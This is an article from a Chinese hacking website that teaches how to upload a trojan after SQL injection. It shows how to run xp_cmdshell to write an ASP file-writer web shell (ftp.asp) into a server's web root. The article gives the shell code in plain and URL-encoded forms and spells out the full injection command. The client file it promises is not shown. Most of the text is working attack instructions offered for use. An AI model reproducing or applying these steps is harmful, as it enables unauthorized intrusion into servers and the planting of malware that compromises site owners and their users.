黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图
您现在的位置: 黑客风云 >> 黑客文章 >> 黑客入门 >> 电脑新手 >> 文章正文
[推荐]SQL注入与ASP木马上传
      ★★★★★
SQL注入与ASP木马上传
文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2007-1-9

SQL注入后,如何上传木马,一直是比较头疼的事,我这里提供上传木马的一种另一种方法。
1、SQL注入的时候,用xp_cmdshell 向服务器上写入一个能写文件的asp文件。
文件内容:
<%
Set objFSO = Server.CreateObject
("scripting.FileSystemObject")

Set objCountFile=objFSO.CreateTextFile
(request("mypath"),True)

objCountFile.Write request("mydata")
objCountFile.Close
%>
这个文件可以写成一行
<%Set objFSO = Server.CreateObject
("scripting.FileSystemObject"):
Set objCountFile=objFSO.CreateTextFile
(request("mypath"),True):objCountFile.Write request("mydata"):
objCountFile.Close%>

将特殊字符进行编码 就可以得到
%3C%25Set%20objFSO%20=%20Server.CreateObject
(%22scripting.FileSystemObject%22):
Set%20objCountFile=objFSO.CreateTextFile(request(%22mypath%22),True):
objCountFile.Write%20request(%22mydata%22):objCountFile.Close%25%3E

注入(这里假定web目录是C:\Inetpub\wwwroot\): 
exec master..xp_cmdshell 'echo 
"%3C%25Set%20objFSO%20=%20Server.CreateObject
(%22scripting.FileSystemObject%22):
Set%20objCountFile=objFSO.CreateTextFile
(request(%22mypath%22),True):
objCountFile.Write%20request(%22mydata%22):
objCountFile.Close%25%3E" > C:\Inetpub\wwwroot\ftp.asp';

这样 在服务器的web 目录下 将生成一个 ftp.asp文件
该文件的代码为
<%
Set objFSO = Server.CreateObject
("scripting.FileSystemObject")
Set objCountFile=objFSO.CreateTextFile
(request("mypath"),True)
objCountFile.Write request
("mydata")
objCountFile.Close
%>
你可以看到,上面代码中预留了两个接口 mypath 和 mydata

mypath是下次提交的时候 文件的生成路径
mydata是文件的内容

在本地编写一个客户端文件 例:RohuClient.htm 代码如下







Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886